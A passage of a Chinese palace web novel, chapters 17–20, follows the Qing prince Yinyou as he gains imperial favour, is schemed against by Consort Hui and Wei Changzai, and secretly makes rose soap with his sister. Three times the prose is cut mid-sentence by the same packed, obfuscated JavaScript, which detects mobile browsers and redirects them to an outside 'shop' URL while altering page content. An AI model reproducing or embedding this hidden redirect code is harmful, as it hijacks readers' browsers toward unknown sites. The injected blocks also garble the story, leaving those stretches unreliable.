二格格白了他一眼,对胤祐道:“你别管他,他就是想露脸,好七弟,今儿个你可真够争气的,果然是好样的。” 她拍了拍胤祐的肩膀。 四阿哥也微微颔首:“七弟今儿个算是让大家都吃了一惊。” 此时,卫常在母子俩正好走出来。 宜妃见状,故意走过来,将腰间的荷包塞到胤祐手里,“七阿哥,今日你可算叫我们都开了眼界了,本宫还当你要让小人算计了,真想不到你这么内秀,这可真是应了那句话,真有本事的人从不炫耀,反倒是那些肚子里没几两墨水的才爱露脸。是不是啊,七阿哥?” 宜妃塞得荷包沉甸甸的,胤祐瞧了瞧荷包,再瞧瞧宜妃,“宜娘娘,儿臣其实今儿个也不想出风头的,只是碰巧撞上了。” 宜妃愣了愣,瞧瞧旁边卫常在母子阴沉的脸,捂着嘴咯咯地笑:“好,好,这叫什么来着,叫某些人搬起石头打自己的脚,七阿哥,这荷包里一点儿玩意赏你了,有空跟五阿哥多走动。” “那儿臣回头就去打扰五哥了。” 胤祐颔首说道。 宜妃笑眯眯道了声好,搭着宫女的手走了。 她从卫常在母子身旁走过的时候,故意停下,眼神上下打量卫常在,脸上露出讥讽,拿着帕子掩唇嗤笑一声离去。 17.绿茶的第十七天 “惠妃娘娘,今儿个这事是嫔妾做得不够妥当。” 延禧宫中,卫常在脸上带着愧疚神色,对惠妃行礼。 旁边的八阿哥怕惠妃责怪卫常在,忙道:“惠娘娘,不是额娘的错,是儿臣没想到七哥居然偷偷准备了。” 宫女给惠妃摘掉手上的指甲套,她神色懒懒,闭着眼养神道:“都起来吧,本宫难道会乱怪罪人吗?今日这事要怪只能怪咱们算漏了戴佳氏母子心机叵测,居然暗中留了一手。” 她睁开眼,眉头皱起,“那七阿哥藏得真深,竟会写百寿图,还讨好了皇贵妃跟荣妃!” “是啊,可见咱们素日都小瞧了戴贵人,往常嫔妾还以为她老实没心眼,现在看来,分明是人家藏得极好,以前不敢露出来,是因为七阿哥还小,现在七阿哥大了,可不就跑出来抢风头。” 卫常在说到这里,清秀的面容有些许扭曲。 今日原先准备的好好的,打算让八阿哥大出风头,然后惠妃才好顺势提起让八阿哥提前一年去上书房的事。 想不到,半路杀出个程咬金出来。 先前八阿哥背诵论语固然是背诵的极好,可对比起七阿哥的百寿图来,那简直就是小巫见大巫,根本不值一提。 何况百寿图意头好,又能表现出七阿哥的孝顺。 只看皇上今日多开心,就能知道七阿哥这回做的多么讨喜。 “你也不要恼了,戴佳氏母子今日出了风头又如何,本宫想要整治她们,多的是手段。” 惠妃在回来的路上已经理清了情绪,这会子已经不那么恼,她冲卫常在招招手。 卫常在走上前,惠妃伸手给她拨了下鬓边缠绕住的步摇,慢条斯理地说道:“年节底下皇上清闲许多,少不得进后宫来,今日八阿哥到底争了一口气,皇上肯定会想起你,你可得好好准备,若是你能趁此机会怀上龙种,咱们还怕什么呢,是不是?” 她的声音很轻。 但卫常在却不免激动起来,呼吸急促,“是,嫔妾记住娘娘的嘱咐。” “常在,这是娘娘特地挑选出来的几匹料子跟首饰,您可得多上心。” 樱桃拍拍手,几个宫女捧着丝绸、首饰上来。 卫氏了然地点头,眼里头生出争斗的火焰。 八阿哥在一旁不言语。 他想起七阿哥刚才的表现,心里暗暗不服。 不过是百寿图,难道自己会不如他?! “梁九功,先前戴佳氏送过百寿图给朕,朕怎么不知道?” 康熙让人将胤祐写的百寿图送去如意馆装裱,回头就问起这事。 梁九功早就提防着皇上问起这事了,赶紧道:“是奴才糊涂,没及时禀报过万岁爷,不过东西奴才记得收在库里,要不皇上,奴才这会子叫人去拿来?” 康熙想了想,手摆了摆:“不必了,朕就是一时想起,戴佳氏倒是有心,这百寿图绣起来可花费心思。” “谁说不是呢,奴才瞧着,七阿哥定然是受了戴贵人的熏陶,这才这般孝顺诚心。” 梁九功见皇上没怪罪百寿图屏风的事,心里稍微松了口气,这事还真不是他特地给戴贵人母子使绊子,前几年那会皇上光是听到七阿哥都会生气,谁敢帮戴贵人把东西送到皇上跟前呢。 那礼单送上来,梁九功就让人收起来了。 那会子做这件事没错,毕竟万一皇上看到了更生气,倒霉的岂不就是戴贵人母子,但现在,这件事就有些不妥当了。 梁九功是个稳妥人,不想跟谁过不去,便特地帮胤祐说了句好话,“七阿哥还没上过学呢,要写成这百寿图,背地里不知付出多少努力,奴才想想都敬佩呢。” “是啊,这孩子倒是个有毅力的。” 康熙感叹着,手负在身后,微微颔首,“敬事房那边,戴贵人的绿头牌给重新摆上吧。” “……嗻!” 梁九功愣了一会儿赶紧答应。 他下去找了敬事房总管陈进立,陈进立下巴都要掉桌上了,手里的鼻烟壶一滑,险些在地上摔个粉碎。 他手忙脚乱地抓住鼻烟壶,然后瞪大眼睛对梁九功道:“梁公公,您这话不是拿我开涮吧,这戴贵人的绿头牌都好几年没摆上了。” “去去去,你当我是什么人,这种事能开玩笑吗?皇上金口玉言,你赶紧让人重新打个戴贵人的绿头牌,我寻思不定这几日皇上就要翻戴贵人的牌子了。” 梁九功坐在交椅上,掀开茶盖刮了刮茶沫,眼睛眯起,意味深长地说道,“这宫里头的富贵还真没定数。” “哎呦,这可真是想都不想到。” 陈进立摘下帽子,摸了摸带青茬的头皮,感慨道:“我还以为戴贵人这辈子就这么着了呢。” 谁说不是。 五年前,戴贵人生下身有残缺的七阿哥,赶上外面人传谣说是康熙命硬,克妻克子,戴贵人母子受牵连,万岁爷大怒,直接下令将戴贵人的绿头牌收起,并且从不主动过问她们母子的事。 如若不是如此,先前卫常在怎敢恃宠生娇,丽贵人怎会欺凌戴贵人母子。 不就是大家都认定戴贵人母子这辈子都这样了吗? 戴贵人还没意识到自己的命运迎来转折。 从回来后,她就抱着胤祐又是抱又是亲,胤祐一张白嫩的小脸上落下好几个胭脂印。 “额、额娘,别亲了,我脸都疼了。” 胤祐拿手推开戴贵人。 戴贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047916|136876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人喜得眼眶都红了,她眼里含着泪地看着胤祐,“好儿子,额娘就知道你比谁都厉害,额娘真、真想不到你今日能写出百寿图来。” “是啊,七阿哥,小主绣百寿图都是两年前的事了,那会子您才多大啊。” 希芸姑姑等人也惊奇不已。 胤祐厚着脸皮道:“那是因为那时候我一直陪在额娘身边,所以耳濡目染就记住了。” 横竖没人能知道他怎么学会的。 怎么说,不都是他说了算。 戴贵人怔了怔,道:“是了,是了,我想起来,那会子平安身子不太舒服,都是我带着他,真想不到平安就这么学会了,我儿子实在太聪明了。” “爷真是了不得,这就是民间说的神童吧。” 小邢子与有荣焉,说话的时候腰板都是挺直的。 戴贵人其实没想太多,儿子今日出风头了,入了皇上的眼,她就心满意足了。 她没想到,今儿个的事可没那么简单。 从颁金节家宴过后,后宫妃嫔就一改之前把他们母子当成透明人的状态,宜妃、德妃,端嫔、僖嫔等人都送来请帖,邀请戴贵人上门做客。 戴贵人被这么多请柬打的措手不及。 她有些惊慌失措,更多的是不知所措,“这、这些娘娘请我去做什么啊?” “额娘别紧张,想来她们请你过去不过也就是吃茶聊天,没什么大事。” 胤祐见戴贵人不喜反忧,便开解她,他这一个月多瞧着,戴贵人平日里根本不跟其他妃嫔往来,经常躲在储秀宫里,虽然有希芸姑姑她们陪着,可希芸姑姑她们毕竟是奴才,戴贵人跟她们交不了心。 这长年累月这么闷着,好人都得憋坏了。 胤祐是希望戴贵人能开心点儿,快乐点儿。 “那,那我都要去吗?” 不知不觉,戴贵人现在很多事情都会问胤祐的主意。 胤祐唔了一声,低头看了看,从桌上帖匣里取出德妃、宜妃跟端嫔的,“这几位娘娘可以去,德妃、宜妃娘娘咱们先前都去过,额娘不用担心,端嫔娘娘前几日家宴时候还帮咱们说话过,想来对咱们是比较友好的,额娘也不妨去走一走。” 希芸姑姑端来茶盏,闻言插了一句话:“是啊,端嫔娘娘先前很是照拂小主的,要是咱们小主以前没搬出景阳宫,不定就不用受那么些罪了。” “竟还有这交情?”胤祐惊讶道:“我怎么不知道?” “你才多大,你能知道什么,不过你们说的也是,端嫔娘娘对我们一向不错,咱们该多走动走动。” 想着儿子的前程,戴贵人咬咬牙,决定硬着头皮去做客。 这回她去做客,胤祐就没跟着过去了。 18.绿茶的第十八天 戴贵人忙着交际,胤祐这边呢,也有事要忙。 他想要挣钱! 胤祐从以前就知道钱有多重要,一分钱能难倒英雄汉,他叫了小邢子,开了自己的库房,数了数自己有多少钱。 叮叮当当,圆桌上满是从箱子里滚出来的碎银、小金元宝。 小邢子数了数,抬起头对胤祐道:“爷,您一共有八十六两银子,十两金子。” “多、多少?”胤祐难以置信地掏掏耳朵。 小邢子摸摸鼻子:“八十六两银子,十两金子要是换,能换成一百两。” 胤祐沉默了,一百八十六两,听着是不少。 如果是普通老百姓,怕是能丰衣足食地过一辈子了。 可偏偏他是在皇宫,年底的时候要准备一份节礼,而送给康熙等人的礼物,怎么也不能太单薄,这一百多两银子,怕是连买点儿像样的礼物都不能够。 “爷,其实您不用发愁,等回头您去上书房念书,每个月就是50两银子了。” 小邢子见胤祐心情低沉,便绞尽脑汁安慰他,“要是等您十岁,那每个月就是一百两了。” “是啊,我知道,但是我去上书房读书,不也得交际,不也得打赏下面,开支也跟着变大了。” 胤祐撑着下巴,拿着笔算账。 怪不得之前戴贵人没日没夜地做活补贴,实在是紫禁城大,居不易; 也难怪那些妃嫔拼命地想往上爬,这低位妃嫔宫份少得可怜,日子难过啊。 “对了,宫里头其他人怎么能送上这份礼?” 胤祐突然灵机一动,猛地坐起身来追问道。 他好歹还是个皇子,戴贵人有他这个儿子每个月的钱补贴,其他人没有的,总不能日子不过了。 “这个,奴才倒是知道一些,”小邢子看了看外面,见外头没人,这才小声道:“后宫主子们多半都要靠娘家补贴,像德妃娘娘、荣妃娘娘她们都是包衣,内务府包衣有的是钱,大家都不靠官份过日子。” 艹 啃娘家啊! “卫常在也是如此吧?”胤祐问道。 小邢子嘿嘿笑道:“您猜对了,咱们贵人过得苦,主要是娘家不补贴,除了您大舅舅偶尔托人送些钱来,其他人都没给过信了。” 胤祐能说什么。 他知道戴佳氏家里情况有点儿复杂,戴佳氏跟他大舅舅是一母同胞的兄妹,但他亲外祖母死的早,外祖父就很早续弦了,下面三个儿子一个女儿。 常言道有的后妈就有了后爹,戴贵人又不得宠,戴父能惦记着这个女儿就怪了。 真是靠人不如靠己。 “七弟,七弟,你在哪里?” 二格格的声音从前面传来。 胤祐答应一声,让小邢子把钱收起来,然后跑出去见二格格。 二格格见到他出来,脸上扬起笑容:“我给你送新书来了,咱们千字文讲完,今儿个讲讲论语吧。” “好,二姐姐这几日不忙吗?”胤祐点点头,跟二格格一起去书房里。 二格格道:“忙什么,我是个无事人,不比你们能去上书房念书,这一日日的除了读书就读书,若不是现在有个教你念书的活计,我都快闷死了。” 二格格说到这里,撅了噘嘴,显然她并不乐于喜欢这样的生活。 胤祐边磨墨,边问道:“那二姐姐不想找点儿别的事情做?比如请个先生教您骑射、下棋什么的?” “那些我都会了。”二格格道:“况且学会这些又有什么意思。” 胤祐一时哑然,二格格这话倒是真的话糙理不糙,以二格格的身份之尊贵,将来无论指婚给任何人,都没人敢薄待她。 她不缺时间,不缺钱。 “格格,爷,您二位喝茶。” 小邢子捧着茶托上来,先拿了一盏茶递给二格格,再递给胤祐。 但他的手一抖,茶盏不下心打翻,胤祐躲避之时把砚台给打翻了,墨水弄脏了袖子。 “哎,奴才该死,奴才该死。”小邢子吓得变了脸色。 胤祐无奈,看了看手掌的墨痕,“快别该死了,赶紧去打水来给我洗干净。” 小邢子连滚带爬地站起身来,道了声是,急匆匆打了一盆水回来。 可不只是那墨太好还是怎的,手背后的墨水怎么也洗不掉。 二格格见状,拿起墨条看了看,“这是皇阿玛赏赐下来的徽墨,这么洗可洗不掉,彩月,回去拿一块洋胰子过来。” 彩月答应了声是,胤祐好奇地拿帕子擦干手指,问道:“二姐姐,这洋胰子是什么东西?” “好东西,那可是西洋的贡品,等会儿你见了就知道了。” 二格格神秘兮兮地卖关子,还故意道:“那东西好使着呢,平日里我都不舍得用,听说外头一块要十两银子。” 十两银子的好东西? 胤祐想想自己现在一个月才能领十两银子,顿时突然觉得东西有些烫手。 想他上辈子也是财务自由了,没想到这辈子居然还轮到为钱发愁。 洋胰子拿了过来。 那东西用一个小匣子装着,外面描花洒金,里面垫着银绸软缎。 胤祐的好奇心提到了顶点,等二格格接过匣子,打开一瞧,胤祐顿时怔了。 “这东西得先泡泡水,然后拿手摸一摸起了泡,那无非什么痕迹都能洗干净了。”二格格还贴心地给胤祐介绍怎么用。 胤祐唇角抽搐。 这特么不就是肥皂吗? 他上辈子也就小时候用过,后来日子过得好了,这种东西哪里还会用,倒是陪着他一个小妈去DIY过香皂。 “七弟,你怎么好像不惊奇?” 二格格纳闷地看着胤祐。 原本她拿出这东西的时候,下面的妹妹都会羡慕地看着她。 就算是三阿哥那边也没有这好东西,是荣妃偏疼她,才把皇帝赏的这一方胰子给了她。 胤祐抵着嘴唇,咳嗽一声,“惊奇,挺惊奇的,二姐,这东西这么贵重我真的能用吗?” 二格格大方道:“你用吧,给你了都行。” “那倒不必,弟弟就是想试试。” 胤祐说道,他就着小邢子打来的水试了试洋胰子,果然洗的很干净,也果然,这就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057736|136876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香皂。 “二姐,这东西您刚才说值多少钱?”胤祐追问道。 二格格想也不想就道:“十两银子啊,这还一般人买不到呢。” “那么二姐想不想跟我一起做一些东西?” 胤祐扭过头,笑着对二格格问道。 二格格一怔,来了兴趣:“什么东西?” 胤祐晃了晃手里的洋胰子:“就是洋胰子。” 二格格眼里露出疑惑神色,看了看胤祐,又看了看洋胰子,眉头皱起,若有所思。 …… “二格格、七阿哥,你们在这里干什么呢?” 惠妃跟卫常在母子路过御花园,远远瞧见胤祐跟二格格在里头,便进来搭话。 其实她不必问,只看二格格跟胤祐两人手上拿着的剪刀,都能知道他们在干嘛了。 二格格跟胤祐行了礼。 二格格知道胤祐跟他们关系不好,便抢先笑着说道:“今日不是天放晴了吗?我闲来无事,拉着七弟过来摘些玫瑰花。” “哦,本宫说呢怎么宫女们手里都一箩筐的花。”惠妃捧着手炉,靛青色出毛披风逶迤在地,整个人气度雍容,“二格格你自己玩就是了,怎么还拉着七阿哥玩,明年七阿哥可要去上书房了,回头耽误了功课可怎么办。” 胤祐心里暗道,这惠妃嘴真是刁钻。 一开口就是挑拨离间。 他扬起头,笑道:“二姐姐何尝不知道这个道理,我们是做完功课才出来的,劳逸结合,若是成日里闷着埋头读书,岂不是要念成书呆子了。” 这年头可没有劳逸结合这种说法,提倡的是悬梁刺股,闭门读书。 二格格心里感动,七弟果真是贴心,为了维护自己,还扯出这种说法来,她道:“是啊,七弟聪明,功课一点就通,我可怕累坏了七弟,这才带他出来走走。” 惠妃挑拨无果,脸上似笑非笑,道:“那就好,看来是本宫低估了七阿哥的聪明,对了,本宫才从皇上那边过来,皇上特地许了,明年八阿哥跟七阿哥一同进学,到时候,七阿哥可得多教导教导你弟弟。” 八阿哥走出来,抱拳跟胤祐行了礼:“请七哥多多指教。” 胤祐笑眯眯:“不敢不敢,兄长们功课都比我好,八弟跟他们请教才是。” 八阿哥眼里掠过些许不屑。 他眼神扫过小邢子等人手里捧着的箩筐,亏他这阵子还提防了下七阿哥,想不到不过是个贪玩之辈,根本不足为虑。 二格格瞧见八阿哥的神色,她并不傻,岂能不知道八阿哥等人在想什么,不由得为胤祐生气。 等惠妃一群人走了,二格格气得跺脚,对胤祐道:“七弟,你别做这些活了,我来做就行,你回去读书去,咱们不能叫别人比下去。” “……” 胤祐想不到二格格气性这么大。 他笑道:“二姐,咱们做自己的事,何必在乎别人眼光,等回头咱们东西做成了,岂不是更能叫别人大跌眼镜?” 二格格想了想,也有些道理,便点头道:“好,咱们好好做,回头让那些人大吃一惊!咱们可不是玩物丧志来着!” 19.绿茶的第十九天 “娘娘该吃药了。” 花影捧着陶碗进来,皇贵妃正捧着一本棋谱看,闻见苦涩的药味不禁拿帕子捂着鼻子,“这太医开的药可越来越苦了,本宫看今日要不就算了吧。” 花影不赞同地看向皇贵妃,她将药碗放下,一本正经道:“良药苦口利于病,况且您要是不喝,回头四阿哥知道了,又得念叨奴才们了。” 听得四阿哥名字,皇贵妃眉眼松开,露出些笑意,“也不知胤禛的脾气像了谁,能念叨得很。” 她接过碗慢慢喝了两口。 花影拿过蜜饯,笑道:“那不是像您这般热心肠,不过奴才有句话不知当不当讲?” “说吧,又听到什么风声了。” 皇贵妃慢悠悠喝着药,随口打趣道。 花影嗔道:“奴才可不是爱嚼舌,是近日来宫里传的人人皆知,先前您不还夸七阿哥有本事吗?您知道最近七阿哥在干什么吗?” “干什么?”皇贵妃心里起了好奇心。 接连几个事件下来,皇贵妃现在对七阿哥好奇得很。 这个小阿哥总是能做出让人吃惊的事来。 花影道:“他最近都跟二格格在御花园摘花,听说连书都没读了,惠妃劝了他还不听,还说什么劳逸结合,您听听,这像话吗?” 皇贵妃微微张嘴,有些惊讶。 她用银叉叉了一块蜜饯送进嘴里,“不能吧,七阿哥的性子不像是这么贪玩不懂事的。” “真的,可不是一日瞧见,宫里头大家都看见了。” 花影见皇贵妃不信,忙道:“而且听说七阿哥还跟内务府要了些什么桂花露、猪油、草木灰,这就是过家家玩泥巴瞎折腾啊。” 皇贵妃低头想了想,摇头笑道:“本宫还是不信,想来兴许七阿哥跟二格格不是在玩,而是在做正经事,只是咱们不清楚而已。” 花影:“……” 皇贵妃见花影那模样,不禁笑了,“你要是不信,咱们要不打个赌。” “赌什么?”花影道。 皇贵妃:“要是本宫说的对,你就回头让太医少下点儿黄连,然后晚上不许拦着我看书,要是你说得对,本宫就赏你一对金簪,如何?” “那您这不是便宜奴才了吗?”花影笑了,“奴才就跟您赌,不过您要是赢了,黄连的事好说,看书却是万万不能的,奴才拿十两银子跟您赌就是。” “好,那就赌了。” 皇贵妃兴致勃勃地点头答应。 她有预感,自己这回赢定了。 “七弟,是这些水吗?” 二格格费力地抱着一罐水进来。 胤祐过去看了看,见到里面底下有沉淀的灰,拿勺子进去搅了搅,“没错,就是这个,这就是碱水。” “碱水?这是什么东西?”二格格一脸困惑跟迷茫。 说实在话,要不是七阿哥在她跟前表现的一直很靠谱,就凭着这几日又是弄草木灰,又是弄猪油的,二格格都要怀疑七阿哥是不是在逗她玩了。 “碱水是好东西,您不是一直想知道我打算怎么做洋胰子吗?今日材料齐全了,咱们现在就去做。” 胤祐拍怕手,让小邢子把碱水抱着跟上。 二格格看了看彩月,一头雾水地跟着胤祐去了前面的绥福殿,丽贵人搬走后,绥福殿就空下来了,正好方便胤祐大展身手。 猪油熬开,等微微冒泡的时候稍等片刻,缓缓倒入碱水,胤祐倒入前些日子摘的玫瑰露,玫瑰花香味清淡,闻着颇为舒心。 锅里的东西渐渐成了乳黄色。 二格格眼里的困惑越来越深,她看看一脸认真的胤祐,虽然好奇但到底没敢打扰。 胤祐道:“已经成了。小邢子,你把它倒在托盘里头,我多做几盘试试。” 二格格嘴巴张了张,“这、这就成了?” 她看向胤祐,你别是逗我开心吧。 胤祐笑道:“现在还没凝固,二姐姐等过五天您过来看,您一定会十分惊喜。” 二格格看了看胤祐,嘴巴抿着,表情无奈。 “行吧,那咱们等五天后再来看看。” 在胤祐这边忙活了半天,二格格回去的时候已经是用晚膳的时辰了,现在十月底天黑得早。 荣妃瞧见二格格风尘仆仆的回来,就不禁有些不乐意了:“先前你去个早上也就罢了,现在怎么下午也在那边?” 二格格捶捶胳膊,“额娘,我跟七弟是忙正事,可以吃晚膳了吗?我好饿。” “正事,你们两个小孩子哪里来的正事,我听说你们都是瞎胡闹!” 荣妃气归气,还是叫人去传晚膳。 二格格不乐意道:“您别瞧不起人,我们这事要是干成了,肯定能让你们大吃一惊,回头不定还能挣很多钱呢。” “挣钱,哎呦,和慧你快别笑死额娘了。” 荣妃捂着肚子,笑得直不起腰来,“你从小到大哪里挣过钱,何况胤祐才几岁,你们怎么挣钱?” 二格格本来还不是很气,听到这话,气得脸都鼓起来了,跺脚道:“哼,您不信,不信您回头等着瞧,我,我不吃了。” 她说完,站起身就跑回后殿去。 彩月等人赶紧追上去。 二格格气鼓鼓,在屋里咬牙切齿,“回头等弟弟东西做好了,我一定要让额娘大吃一惊。” 彩月等人欲言又止。 七阿哥做那东西的卖相可不像是能成功。 在五六日后。 一天早上,胤祐早早打发人来请二格格过去。 二格格一听是东西好了,连忙跑了过来,连衣服都没换,就急匆匆直奔绥福殿过去。 “怎么样,怎么样,在哪里?” 二格格兴奋地问道。 胤祐笑着让小邢子拿出个托盘来,上面毛巾掀开,底下是已经切好了的一块块的肥皂:“二姐姐,您用用看,看对不对?” 二格格嘴巴微张,那些洋胰子的模样其实跟她给胤祐的差不多了,只是颜色稍许有些差别。 她先闻了闻味道,淡淡的玫瑰香扑鼻而来,再试用了下,泡沫绵密,洗完之后手上留着余香。 “这、咱们真的成功了?!” 二格格激动到破音。 彩月等人也是一脸吃惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13077306|136876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 谁也没想到七阿哥心血来潮做的洋胰子居然真的能成! “是,二姐姐,咱们先前做了三十多块,您回头先拿几块去用。”胤祐说道:“这洋胰子也可以拿来洗脸。” “好,好好。” 二格格高兴得合不拢嘴。 她兴奋地说道:“我要告诉我额娘,让她先前瞧不起咱们,这下可好了,咱们真的做出来了。” “不可!”胤祐忙拉住二格格的手,“二姐姐,咱们这事先不急着告诉任何人。” 二格格不解:“为什么,早点儿让大家知道,不是更好吗?” “二姐姐先坐下来听我说。” 胤祐给小邢子使眼色让他下去倒茶,随后拉着二格格坐下,“咱们现在把东西做出来了,这事只有咱们知道,如果等年底下除夕夜咱们一起拿这些送给皇阿玛他们,你猜皇阿玛他们会不会很高兴?” “这是自然的,是了,你说得对,咱们这会子不时不节的,做出东西来又不能大张旗鼓地派送,倒不如留到除夕那日。” 二格格琢磨了下胤祐的话,觉得颇有几分道理。 胤祐见她听得进去,这才放心,又道:“另一个,咱们现在做的这个太粗糙了,没个花样,就这么光秃秃的送人也不好看,倒不如咱们想出几个模子来,比如梅兰菊竹、十二生肖又或者些吉祥字样,如此做出来的洋胰子不但实用,还讨喜呢。” “七弟想的果真周到,倒是我,一时高兴什么也没想到。” 二格格看着胤祐的眼神带出几分欣赏。 她点点头道:“就依着你说的,要什么模子你只管说,我回头让造办处做了送来。” “那这事就拜托二姐姐了,二姐姐要是愿意,也可以做几个模子,这些印出来的洋胰子留着自用或是孝敬荣妃娘娘,意义都不同。” 胤祐笑眯眯说道。 他现在说话还没什么分量,模子的事要想让造办处做,花钱不说重点还是得欠人情,二格格就不同,她是荣妃女儿,又得皇上喜欢,她说要什么,造办处可不敢敷衍。 “你倒是提醒我了,回头我想想做什么模子。” 二格格饶有兴趣地说道。 她看了看那些洋胰子,怕带回去的太多,叫荣妃知道了,索性一块儿也不带,就光着手回去了。 荣妃在屋里做针线活,给三阿哥做新衣裳,瞧见她满脸带笑的从外面进来,眉头一挑,“哟,咱们格格这是碰到什么好事了,怎么这么高兴?” “我不跟您说,回头您就知道了。” 二格格心里美滋滋,她长这么大,头一次办成一件事,虽然出力不多,但那成就感是多少钱都无法比的。 荣妃眉头挑起,看向彩月等人。 彩月尴尬一笑,避开荣妃的视线。 “额娘,您也不用问她们,我嘱咐她们不许告诉任何人的。” 二格格拿起桌上一颗苹果,擦了擦啃了一口:“您等除夕吧,那时候叫您大开眼界。” “好,我可等着了。” 荣妃笑道,她心里也疑惑,和慧跟七阿哥到底在做什么,成功了没? 20.绿茶的第二十天 戴贵人这一个月来时不时地过来翊坤宫这边做客,今日过来,倒不像以往那么拘束了。 “妹妹坐吧,本宫这边收个尾。” 荣妃绣着鞋面,头也不抬就对戴贵人说道。 戴贵人道了声是,也不敢坐实在了,斜签着坐在下面的圈椅上,她嘴里搭着话:“娘娘这会子还做针线呢,年底后宫事务多,难为您忙得过来。” 荣妃闻言莞尔一笑,将线头剪了,装针线活的簸箩示意滴云等人拿下去,“再忙孩子们的事也不能不操心,最近七阿哥还在忙先前那事呢?” 戴贵人耳根一红,忙低下头:“是,那孩子也不知怎的,就那么倔强,还不肯让人告诉我。” “二格格也是这般,本宫看这俩孩子倒真不愧是亲的,脾气一样一样的。” 荣妃心里好受多了。 二格格没告诉她,七阿哥也没告诉戴贵人啊。 她看着谨小慎微的戴贵人,觉得顺眼了不少,“说起来,内务府最近拟出了七阿哥的哈哈珠子名单,多出个人选,本宫这边也不知挑谁好,倒不知你娘家可有合适的孩子?” 戴贵人只觉仿佛被个馅饼砸到了脑袋,阿哥们伴读可是个好差事,不但能在上书房听朝廷大臣教书,日后前程更是不可限量。 “嫔妾听说娘家哥哥是有个儿子,今年十二岁了,不知合不合适?” “十二岁,那再合适不过了,七阿哥年纪小,身子单薄,哈哈珠子挑个岁数大点儿的才好呢。” 荣妃沉吟一下,笑着说道:“那就这么定了,回头本宫让人安排下去。” “多谢荣妃娘娘,嫔妾一定谨记娘娘恩典。” 戴贵人起身,激动得涨红了脸,对着荣妃蹲了个身。 荣妃示意希芸姑姑扶她起来,“戴贵人莫要见外,咱们都是有儿子的,将心比心,能有个自家人当哈哈珠子,那是比外人信得过。” 戴贵人唯唯道是。 荣妃上下打量她,忽而又笑了,“说起来戴贵人年纪也不大,也不该打扮得这么老成,本宫这里新得了几匹颜色鲜亮的缎子你带回去,回头做几身新衣裳,也好过个年,明年兴许新年新气象。” 戴贵人心里错愕,正要推拒。 希芸姑姑给她使了个眼神,抢先行礼:“那奴才代我们小主多谢娘娘。” 荣妃赏赐下来的绸缎不在少数。 几个宫女捧着,躲着地上的积雪往回走。 戴贵人心里头糊涂着,她侧过身,对希芸姑姑问道:“这些料子,咱们怎么好收荣妃娘娘的,咱们无功不受禄啊。” 希芸姑姑搀扶着戴贵人,低声道:“小主,长者赐不可辞,娘娘先才帮了咱们这么大的忙,她的赏赐咱们不收,岂不是显得咱们见外,不把娘娘当自己人。” 戴贵人红唇微张,杏眼里头露出迷茫神色,“这不收,反而不好?” 她是个没什么心眼的人,素来拿人家一份好处,恨不得回报十分。 希芸姑姑道:“可不是,您没瞧见咱们收了,娘娘多高兴,咱们这是两全其美的事,年底了,您紧着七阿哥做衣裳,也没给自己做几身,您还年轻着呢,不打扮打扮怎么能行?” 戴贵人叹了口气:“我还打扮什么,皇上早已厌了我。” “如今不然。”希芸姑姑见得周遭无人,便压低声音道:“奴才打听过了,敬事房那边最近在做娘娘的绿头牌。” 戴贵人脑子里嗡地一下,脚下一滑,险些摔了。 她赶忙站住,扭过头,“是皇上的意思?” “除了皇上,这宫里谁能使唤的动敬事房呢?”希芸姑姑瞧见戴贵人脸上露出悲喜交加的神色,也不由得心生酸楚,“您跟卫常在岁数差不多,卫常在这两年来宠冠后宫,您凭什么不行?” 戴贵人脑里乱糟糟的。 她看了看那些绸缎,恍惚突然明白荣妃送这些绸缎的用意。 但她又不敢往下想:“先别说了,回去,回去吧。” 希芸姑姑道了声是,瞧着戴贵人那清丽脱俗的脸庞,眼里燃起希望,野心。 吃了五年的苦,如今总算拨开云雾见天明。 胤祐送二格格出来,两人在门口有说有笑,不知在嘀咕什么,戴贵人一过来,二格格跟胤祐就不说话了,两人挤眉弄眼。 “格格要走了?”戴贵人已经收拾好心情,瞧见二格格,不禁露出笑容,“怎么不多留会儿,吃杯茶再回去吧。” “不了,我在这边打扰久了,过几日就不过来了,咱们等除夕家宴的时候再见。”二格格一笑,露出两颗兔牙,颇为俏丽。 她跟戴贵人见了礼,就坐上辇子回去了。 胤祐迎上去,一把扑在戴贵人怀里,“额娘回来了,额娘累不累?” 戴贵人瞧见胤祐的笑脸,那些乱七八糟的烦心事都瞬间抛到脑后去了,“额娘不累,额娘这回还带了个好消息回来呢。” 她一摸胤祐的手热乎乎的,这才放心,带着胤祐回后院去。 在得知自己将有个表哥要进宫陪读,胤祐脸上露出喜色,“那可太好了,回头额娘也能多知道大舅舅的情况。” “是啊,而且你表哥进宫读书,怎么也省了一笔开支。” 